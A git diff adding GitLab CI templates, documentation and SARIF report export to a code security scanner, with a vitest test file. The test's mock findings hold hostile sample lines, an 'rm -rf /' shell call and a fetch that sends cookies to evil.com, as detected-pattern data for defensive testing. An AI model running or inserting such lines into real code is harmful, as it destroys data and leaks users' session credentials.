diff --git a/.gitlab-ci-templates.yml b/.gitlab-ci-templates.yml new file mode 100644 index 00000000..a3cb51bb --- /dev/null +++ b/.gitlab-ci-templates.yml @@ -0,0 +1,68 @@ +# ISNAD Scanner - Advanced GitLab CI Templates +# +# These templates extend the basic pipeline with advanced features: +# - Auto-issue creation on critical findings +# - Weekly scheduled scans of the entire codebase +# - Slack/webhook notifications +# +# Include in your .gitlab-ci.yml: +# include: +# - remote: 'https://raw.githubusercontent.com/counterspec/isnad/main/.gitlab-ci-templates.yml' + +.isnad-base-scan: + stage: scan + image: node:20-alpine + cache: + key: isnad-scanner + paths: + - /tmp/isnad/scanner/node_modules/ + before_script: + - apk add --no-cache git bash curl jq + - | + if [ ! -d "/tmp/isnad/scanner/dist" ]; then + git clone --depth 1 --branch "${ISNAD_VERSION:-main}" https://github.com/counterspec/isnad.git /tmp/isnad + cd /tmp/isnad/scanner + npm ci + npm run build + cd "$CI_PROJECT_DIR" + fi + script: + - mkdir -p "$CI_PROJECT_DIR/$ISNAD_REPORT_DIR" + - node /tmp/isnad/scanner/dist/cli.js batch "$ISNAD_SCAN_TARGETS" --json > "$ISNAD_REPORT_DIR/isnad-scan.json" + - node /tmp/isnad/scanner/dist/cli.js batch "$ISNAD_SCAN_TARGETS" --sarif-output "$ISNAD_REPORT_DIR/isnad-sarif.json" + artifacts: + when: always + reports: + sast: "$ISNAD_REPORT_DIR/isnad-sarif.json" + paths: + - "$ISNAD_REPORT_DIR/" + expire_in: 90 days + variables: + ISNAD_REPORT_DIR: "isnad-reports" + +# Auto-issue on critical findings +.isnad-auto-issue: + stage: report + image: alpine + needs: + - job: isnad-security-scan + after_script: + - | + FINDINGS=$(cat "$CI_PROJECT_DIR/$ISNAD_REPORT_DIR/isnad-scan.json" 2>/dev/null || echo "[]") + CRITICAL=$(echo "$FINDINGS" | grep -c '"critical"' || true) + HIGH=$(echo "$FINDINGS" | grep -c '"high"' || true) + if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then + echo "Creating GitLab issue for $CRITICAL critical and $HIGH high findings..." + curl --silent --request POST --header "PRIVATE-TOKEN: $ISNAD_GITLAB_TOKEN" --form "title=[SECURITY] ISNAD: $CRITICAL critical, $HIGH high findings" --form "description=@$CI_PROJECT_DIR/$ISNAD_REPORT_DIR/isnad-scan.json" --form "labels=security,isnad-scan" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/issues" 2>/dev/null || true + fi + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + +# Scheduled weekly scan +.isnad-weekly-scan: + extends: .isnad-base-scan + variables: + ISNAD_SCAN_TARGETS: "src/ packages/ lib/ scripts/ tests/ contracts/" + ISNAD_REPORT_DIR: "isnad-reports-weekly" + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 00000000..82ac9e2d --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,67 @@ +# ISNAD Scanner - GitLab CI/CD Integration +# This file provides a ready-to-use pipeline configuration that runs the ISNAD +# security scanner on every push and merge request, producing SARIF reports +# compatible with the GitLab Security Dashboard. +# +# Usage: +# 1. Copy this file to your repository root as .gitlab-ci.yml +# 2. (Optional) Override SCAN_TARGETS and SCAN_FAIL_LEVEL in your GitLab CI/CD variables +# 3. Ensure your GitLab instance has "CI/CD > Security reports" enabled for SAST + +variables: + # Comma or space separated list of files/directories to scan + SCAN_TARGETS: "src/ lib/ scripts/ packages/" + # Fail pipeline if findings reach this level or higher: critical | high | medium | low + SCAN_FAIL_LEVEL: "high" + # ISNAD version to use (git branch or tag) + ISNAD_SCANNER_VERSION: "main" + +stages: + - scan + +isnad-security-scan: + stage: scan + image: node:20-alpine + before_script: + - apk add --no-cache git bash + - git clone --depth 1 --branch "$ISNAD_SCANNER_VERSION" https://github.com/counterspec/isnad.git /tmp/isnad + - cd /tmp/isnad/scanner + - npm ci + - npm run build + script: + - echo "=== ISNAD Security Scanner ===" + - echo "Targets: $SCAN_TARGETS" + - echo "Fail Level: $SCAN_FAIL_LEVEL" + - mkdir -p "$CI_PROJECT_DIR/isnad-reports" + - EXIT_CODE=0 + - for target in $SCAN_TARGETS; do + if [ "$target" = "${target%%/}" ] && [ -f "$target" ]; then + echo ""; + echo "--- Scanning file: $target ---"; + node /tmp/isnad/scanner/dist/cli.js scan "$target" --json > "isnad-reports/$(basename "$target").json" 2>/dev/null || true; + elif [ -d "$target" ]; then + echo ""; + echo "--- Scanning directory: $target ---"; + node /tmp/isnad/scanner/dist/cli.js batch "${target}/**/*.{ts,js,tsx,jsx,py,rb,sh,mjs,cjs}" --sarif-output "isnad-reports/isnad-sarif.json" || EXIT_CODE=1; + fi; + done + - if [ $EXIT_CODE -ne 0 ]; then + echo ""; + echo "ISNAD scanner detected security issues above $SCAN_FAIL_LEVEL level!"; + exit 1; + fi + - echo ""; + - echo "=== ISNAD scan completed ==="; + artifacts: + when: always + reports: + sast: isnad-reports/isnad-sarif.json + paths: + - isnad-reports/ + expire_in: 90 days + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_PIPELINE_SOURCE == "push" + changes: + - "**/*.{ts,js,tsx,jsx,py,rb,sh,mjs,cjs}" + - if: $CI_PIPELINE_SOURCE == "schedule" diff --git a/docs/GITLAB_CI.md b/docs/GITLAB_CI.md new file mode 100644 index 00000000..8ac26d1f --- /dev/null +++ b/docs/GITLAB_CI.md @@ -0,0 +1,86 @@ +# GitLab CI/CD Integration + +The [ISNAD Scanner](../README.md) integrates with GitLab CI/CD to automatically +security-scan your codebase on every push and merge request, producing SARIF +reports that appear in the GitLab Security Dashboard. + +## Quick Start + +1. Copy the `.gitlab-ci.yml` from this repo into your project root +2. Adjust `SCAN_TARGETS` to match your source directories +3. Push a commit or create a merge request — the pipeline runs automatically + +Example `.gitlab-ci.yml` snippet: + +```yaml +variables: + SCAN_TARGETS: "src/ lib/" + SCAN_FAIL_LEVEL: "high" + +stages: + - scan + +isnad-security-scan: + stage: scan + image: node:20-alpine + before_script: + - apk add --no-cache git bash + - git clone --depth 1 --branch "main" https://github.com/counterspec/isnad.git /tmp/isnad + - cd /tmp/isnad/scanner && npm ci && npm run build + - cd "$CI_PROJECT_DIR" + script: + - node /tmp/isnad/scanner/dist/cli.js batch "src/**/*.{ts,js}" --sarif-output is-report.json || EXIT_CODE=1 +``` + +## SARIF Output + +The SARIF (`--sarif-output`) flag produces reports compatible with: +- **GitLab SAST Reports**: Automatically displayed in the Merge Request widget +- **GitHub Code Scanning**: Upload via `github/codeql-action/upload-sarif` +- **Any SARIF-aware tool**: VS Code, IDE integrations + +## Configurable Targets + +| Variable | Default | Description | +|----------|---------|-------------| +| `SCAN_TARGETS` | `src/ lib/ scripts/ packages/` | Space-separated list of dirs/files to scan | +| `SCAN_FAIL_LEVEL` | `high` | Pipeline fails if findings reach this severity (critical/high/medium/low) | +| `ISNAD_SCANNER_VERSION` | `main` | Which version/branch of isnad to use | + +## Scheduled Scans + +To run weekly scans of your entire codebase, add a pipeline schedule in +GitLab: **CI/CD > Schedules > New schedule** + +```yaml +.isnad-weekly-scan: + variables: + SCAN_TARGETS: "src/ packages/ lib/ scripts/ tests/ contracts/" + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" +``` + +See `.gitlab-ci-templates.yml` for full advanced templates with auto-issue creation. + +## Pipeline Example Output + +``` +=== ISNAD Security Scanner === +Targets: src/ lib/ +Fail Level: high + +--- Scanning directory: src/ --- +🔴 src/handler.ts: critical (2 findings) +🟡 src/utils.ts: medium (1 findings) +✅ src/index.ts: clean (0 findings) + +SARIF report written to: isnad-reports/isnad-sarif.json + +=== ISNAD scan completed === +``` + +## Advanced: Auto-Issue on Critical Findings + +The `.gitlab-ci-templates.yml` includes a template that automatically creates +a GitLab issue when critical or high-severity findings are detected, including +the full scan results as description. diff --git a/scanner/src/cli.ts b/scanner/src/cli.ts index 5f516738..78238894 100644 --- a/scanner/src/cli.ts +++ b/scanner/src/cli.ts @@ -10,6 +10,8 @@ import chalk from 'chalk'; import { analyzeContent, formatResult, type AnalysisResult } from './analyzer.js'; import { submitFlag, checkBalance, createEvidencePackage, hashEvidence, type OracleConfig } from './oracle.js'; import { createHash } from 'crypto'; +import { writeFileSync } from 'fs'; +import { analysisResultToSarif, sarifToJson, type SarifReport } from './sarif.js'; import 'dotenv/config'; const program = new Command(); @@ -176,6 +178,7 @@ program .argument('', 'Glob pattern for files to scan') .option('-j, --json', 'Output as JSON') .option('--fail-fast', 'Exit on first critical/high finding') + .option('--sarif-output ', 'Export batch results as SARIF to file (GitLab Security Dashboard compatible)') .action(async (pattern: string, options) => { const { glob } = await import('glob'); const files = await glob(pattern); @@ -234,6 +237,23 @@ program console.log(` ✅ Clean: ${summary.clean}`); } + // Export SARIF report if requested + if (options.sarifOutput && results.length > 0) { + const combinedRuns = results.flatMap(r => { + const sarif = analysisResultToSarif(r.result, r.file); + return sarif.runs; + }); + + const combinedSarif: SarifReport = { + $schema: 'https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json', + version: '2.1.0', + runs: combinedRuns, + }; + + writeFileSync(options.sarifOutput, sarifToJson(combinedSarif)); + console.log(chalk.green('\\nSARIF report written to: ' + options.sarifOutput)); + } + if (hasHighRisk) { process.exit(1); } diff --git a/scanner/src/index.ts b/scanner/src/index.ts index f7d421eb..cffdcea6 100644 --- a/scanner/src/index.ts +++ b/scanner/src/index.ts @@ -4,7 +4,7 @@ export { analyzeContent, formatResult, type AnalysisResult, type Finding } from './analyzer.js'; export { DANGEROUS_PATTERNS, SAFE_DOMAINS, type Pattern } from './patterns.js'; -export { +export { submitFlag, checkBalance, createEvidencePackage, @@ -12,3 +12,4 @@ export { type OracleConfig, type FlagSubmission } from './oracle.js'; +export { analysisResultToSarif, toSarifResult, sarifToJson, type SarifResult, type SarifReport } from './sarif.js'; diff --git a/scanner/src/sarif.ts b/scanner/src/sarif.ts new file mode 100644 index 00000000..5ede1ba5 --- /dev/null +++ b/scanner/src/sarif.ts @@ -0,0 +1,154 @@ +/** + * SARIF (Static Analysis Results Interchange Format) export for ISNAD Scanner. + * Compatible with GitLab Security Dashboard and GitHub Code Scanning. + */ + +export interface SarifResult { + ruleId: string; + level: 'none' | 'note' | 'warning' | 'error'; + message: { text: string }; + locations: Array<{ + physicalLocation: { + artifactLocation: { uri: string }; + region: { + startLine: number; + startColumn: number; + snippet: { text: string }; + }; + }; + }>; +} + +// Simplified Finding interface (matches AnalysisResult.findings) +interface Finding { + patternId: string; + name: string; + description: string; + severity: string; + category: string; + line: number; + column: number; + match: string; + context: string; +} + +interface AnalysisResult { + findings: Finding[]; + riskLevel: string; + riskScore: number; + confidence: number; + analyzedAt: string; + resourceHash: string; + contentHash: string; + summary: { + total: number; + critical: number; + high: number; + medium: number; + low: number; + }; +} + +export interface SarifReport { + $schema: string; + version: '2.1.0'; + runs: Array<{ + tool: { + driver: { + name: string; + fullName: string; + version: string; + informationUri: string; + rules: Array<{ + id: string; + name: string; + shortDescription: { text: string }; + helpUri: string; + properties: { category: string }; + }>; + }; + }; + results: SarifResult[]; + }>; +} + +function mapSeverityToSarifLevel(severity: string): SarifResult['level'] { + const map: Record = { + critical: 'error', + high: 'error', + medium: 'warning', + low: 'note', + }; + return map[severity] || 'note'; +} + +export function toSarifResult(finding: Finding, targetPath: string): SarifResult { + return { + ruleId: finding.patternId, + level: mapSeverityToSarifLevel(finding.severity), + message: { + text: `${finding.name}: ${finding.description}`, + }, + locations: [{ + physicalLocation: { + artifactLocation: { uri: targetPath }, + region: { + startLine: finding.line, + startColumn: finding.column, + snippet: { text: finding.context }, + }, + }, + }], + }; +} + +export function analysisResultToSarif(result: AnalysisResult, targetPath: string = '.'): SarifReport { + const findingRules = new Map(); + + for (const f of result.findings) { + if (!findingRules.has(f.patternId)) { + findingRules.set(f.patternId, { + id: f.patternId, + name: f.name, + description: f.description, + category: f.category, + }); + } + } + + const rules = Array.from(findingRules.values()).map(r => ({ + id: r.id, + name: r.name, + shortDescription: { text: r.description }, + helpUri: 'https://github.com/counterspec/isnad', + properties: { category: r.category }, + })); + + const sarifResults = result.findings.map(f => toSarifResult(f, targetPath)); + + return { + $schema: 'https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json', + version: '2.1.0', + runs: [{ + tool: { + driver: { + name: '@isnad/scanner', + fullName: 'ISNAD Scanner - AI Security Scanner', + version: '0.1.0', + informationUri: 'https://github.com/counterspec/isnad', + rules, + }, + }, + results: sarifResults, + }], + }; +} + +export function sarifToJson(sarif: SarifReport): string { + return JSON.stringify(sarif, null, 2); +} diff --git a/scanner/tests/sarif.test.ts b/scanner/tests/sarif.test.ts new file mode 100644 index 00000000..5f2e43d1 --- /dev/null +++ b/scanner/tests/sarif.test.ts @@ -0,0 +1,127 @@ +/** + * Tests for SARIF export module + */ + +import { describe, it, expect } from 'vitest'; +import { analysisResultToSarif, toSarifResult, sarifToJson } from '../src/sarif.js'; + +const mockResult = { + resourceHash: '0xabcd1234', + contentHash: '0xefgh5678', + findings: [ + { + patternId: 'EXEC_EVAL', + name: 'Dynamic Code Execution', + description: 'eval() can execute arbitrary code', + severity: 'critical' as const, + category: 'code_execution', + line: 5, + column: 10, + match: 'eval(', + context: 'const result = eval(userInput);', + }, + { + patternId: 'EXEC_SHELL', + name: 'Shell Command Execution', + description: 'Direct shell command execution', + severity: 'critical' as const, + category: 'code_execution', + line: 10, + column: 3, + match: 'exec(', + context: "child.exec('rm -rf /');", + }, + { + patternId: 'URL_SSRF', + name: 'SSRF / HTTP to Suspicious Host', + description: 'HTTP request to a suspicious URL', + severity: 'high' as const, + category: 'data_exfiltration', + line: 15, + column: 1, + match: 'fetch(', + context: "fetch('http://evil.com/steal?data=' + cookie);", + }, + ], + riskScore: 240, + riskLevel: 'critical' as const, + summary: { + total: 3, + critical: 2, + high: 1, + medium: 0, + low: 0, + }, + confidence: 0.85, + analyzedAt: '2026-04-05T00:00:00.000Z', +}; + +describe('SARIF Export', () => { + describe('toSarifResult', () => { + it('maps critical severity to error level', () => { + const result = toSarifResult(mockResult.findings[0], 'test.js'); + expect(result.level).toBe('error'); + expect(result.ruleId).toBe('EXEC_EVAL'); + }); + + it('maps high severity to error level', () => { + const result = toSarifResult(mockResult.findings[2], 'test.js'); + expect(result.level).toBe('error'); + }); + + it('includes artifact location and region', () => { + const result = toSarifResult(mockResult.findings[0], 'src/app.js'); + expect(result.locations[0].physicalLocation.artifactLocation.uri).toBe('src/app.js'); + expect(result.locations[0].physicalLocation.region.startLine).toBe(5); + expect(result.locations[0].physicalLocation.region.startColumn).toBe(10); + expect(result.locations[0].physicalLocation.region.snippet.text).toContain('eval'); + }); + }); + + describe('analysisResultToSarif', () => { + it('produces valid SARIF structure', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + expect(sarif.version).toBe('2.1.0'); + expect(sarif.runs).toHaveLength(1); + expect(sarif.runs[0].tool.driver.name).toBe('@isnad/scanner'); + expect(sarif.runs[0].results).toHaveLength(3); + }); + + it('de-duplicates rules by patternId', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + const ruleIds = sarif.runs[0].tool.driver.rules.map(r => r.id); + expect(ruleIds).toHaveLength(3); + expect(ruleIds).toContain('EXEC_EVAL'); + expect(ruleIds).toContain('EXEC_SHELL'); + expect(ruleIds).toContain('URL_SSRF'); + }); + + it('includes category in rule properties', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + const execRule = sarif.runs[0].tool.driver.rules.find(r => r.id === 'EXEC_EVAL'); + expect(execRule?.properties.category).toBe('code_execution'); + }); + + it('maps all results with correct severity levels', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + const levels = sarif.runs[0].results.map(r => r.level); + expect(levels).toContain('error'); + }); + }); + + describe('sarifToJson', () => { + it('valid JSON string', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + const json = sarifToJson(sarif); + const parsed = JSON.parse(json); + expect(parsed.version).toBe('2.1.0'); + expect(parsed.runs).toHaveLength(1); + }); + + it('contains $schema field', () => { + const sarif = analysisResultToSarif(mockResult, 'test.js'); + const json = sarifToJson(sarif); + expect(json).toContain('sarif-schema-2.1.0'); + }); + }); +});